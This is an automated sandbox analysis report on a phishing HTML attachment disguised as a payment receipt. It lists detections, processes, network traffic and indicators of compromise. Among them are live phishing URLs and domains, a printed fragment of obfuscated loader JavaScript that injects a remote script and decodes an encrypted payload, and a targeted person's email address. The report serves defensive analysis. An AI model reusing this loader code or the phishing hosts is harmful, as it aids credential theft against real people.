Edit tour

Windows Analysis Report
FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

Overview

General Information

Sample name:	FULLPDFPAYRECEIPTCONFIRMATION_attach.htm
Analysis ID:	1630996
MD5:	7f62ecf850df5e9323c9318dbefac76d
SHA1:	e99b671318027fff4fa77f53dd571d155ff3b6d1
SHA256:	2e08d10cfbf01e8478b615c2412845ddd15df043331aea79c957476ca170cdf2
Infos:

Detection

HTMLPhisher, Invisible JS

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML document with suspicious title

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

IP address seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\FULLPDFPAYRECEIPTCONFIRMATION_attach.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1976,i,17354272506343118746,4459017973618972213,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_145	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.5.id.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.5.id.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://xx3j.t23ngbco3.ru/n46ESpbl/

Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_145, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 0.5.id.script.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.5.id.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@sc... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@sc... This script demonstrates high-risk behavior, including dynamic code execution through the use of `eval()`. It also appears to be heavily obfuscated, which further increases the risk. The script's purpose is unclear, and it is likely to be malicious in nature.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCO... This script exhibits several high-risk behaviors, including dynamic code execution via `eval()` and potential data exfiltration to unknown domains. The use of obfuscated strings and the presence of a large number of encoded function names further increase the suspicion of malicious intent. Overall, this script demonstrates a high risk of malicious activity and should be thoroughly investigated.

Detected javascript redirector / loader

Source: FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

HTTP Parser: New script, src: https://torneytough.com/cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

Tab title: FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

Source: FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

HTTP Parser: Base64 decoded: 574e96dfd286cad5

Source: https://torneytough.com/cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152

HTTP Parser: var ervtldsnmcglapgc = document.createelement("script");ervtldsnmcglapgc.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(ervtldsnmcglapgc);ervtldsnmcglapgc.onload=function(){hweohlafgwfdwymk = atob;var {a,b,c,d} = json.parse(hweohlafgwfdwymk("eyjhijois3vunwt6auf3oxr3xc9rs2nyk1bcxc8zbmhievnecnnzevhsczm2dzm0v2jsqwr0z1c0xc9wtgzvv1htem1oulhbnvaws0eyn2nwzgdhvzlcb0y5dmxmzllmqwdaykjgs3pscwp6mwvoze9qaxjqewjnc1rhblnfetdovxhrqtlcl3poemvxvzlczgjfxc9enmzkmhhxc1vqvld5rmiycdfqtzvyxc8zctrrdvdmcjlztnfkwjlcmvfobvzmdmv3zwl0ulzxduvgbzaya2nsn0krzmh5bzm0m0rsbvyxvlbmzwzianlqsnlqrg9syxnfc2u0aetja05or0pxajnxc2tstxy5zkw3t2xnvnjrmmwwdlvxevkrzefosutuuwdoqvrtwdvyeuo0rwzsqk1ozndhdytpanv6rhrud1dnotvxa1f1q2pbbfburmnldktwsvwvt0f5a3vhcw8yylc5uzlnek9onjvsbhhid1dick4xahzwtw1oa1lxwgsrm2fhb1fiexjqr0fiogddnmuxrvy5bzn0ogj3sfcytjrktfbcl3vkbwpquurqn2z5ouphaeltzjf6vunma1h3zuronktxvjzdt1zwxc8yztdst1z6unzwsenqwkdnsueymkfcdfn0adjxxc9txc91zed1ve00uer5tfzomhi4mjlkwlr5vuhvwnrm...

Source: FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/FULLPDFPAYRECEIPTCONFIRMATION_attach.htm	HTTP Parser: No favicon
Source: https://xx3j.t23ngbco3.ru/n46ESpbl/#B#Mm.sieber@schattdecor.de	HTTP Parser: No favicon

Source: global traffic	TCP traffic: 192.168.2.4:52059 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:49542 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.20.57 104.21.20.57
Source: Joe Sandbox View	IP Address: 104.21.20.57 104.21.20.57
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 104.16.5.189 104.16.5.189
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152 HTTP/1.1Host: torneytough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cllascio.php?322d363837343734373037333361326632663538353833333661326537343332333336653637363236333666333332653732373532663665333433363435353337303632366332662d4c45474e76567155476349464152 HTTP/1.1Host: torneytough.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /n46ESpbl/ HTTP/1.1Host: xx3j.t23ngbco3.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=x91XeDI7kox7hEkNsTUkUoFC_2IboVHn7cmi41fxMoQ-1741268326-1.0.1.1-rQZ3OIQItNvqRZNU50aLWB_V8AxXuDjJ5KxM1XPqUpQaKvlRxQn7_f1UA3jl0rS27bQheFjTzXTUA8Qi3GxB46iqgCuSsDCIBi4UjdTFRuw
Source: global traffic	HTTP traffic detected: GET /machlo!fc4z1vnt HTTP/1.1Host: v3mm.biijvi.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://xx3j.t23ngbco3.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://xx3j.t23ngbco3.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /machlo!fc4z1vnt HTTP/1.1Host: v3mm.biijvi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: torneytough.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: xx3j.t23ngbco3.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: v3mm.biijvi.ru

Source: chromecache_155.2.dr, chromecache_149.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2)
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2)
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2)
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2)
Source: chromecache_156.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/montserrat/v29/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52090
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52061
Source: unknown	Network traffic detected: HTTP traffic on port 52090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52067
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52196
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

System Summary

HTML document with suspicious name

Source: Name includes: FULLPDFPAYRECEIPTCONFIRMATION_attach.htm

Initial sample: receipt

Source: classification engine

Classification label: mal100.phis.evad.winHTM@30/27@30/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\FULLPDFPAYRECEIPTCONFIRMATION_attach.htm"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1976,i,17354272506343118746,4459017973618972213,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1976,i,17354272506343118746,4459017973618972213,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
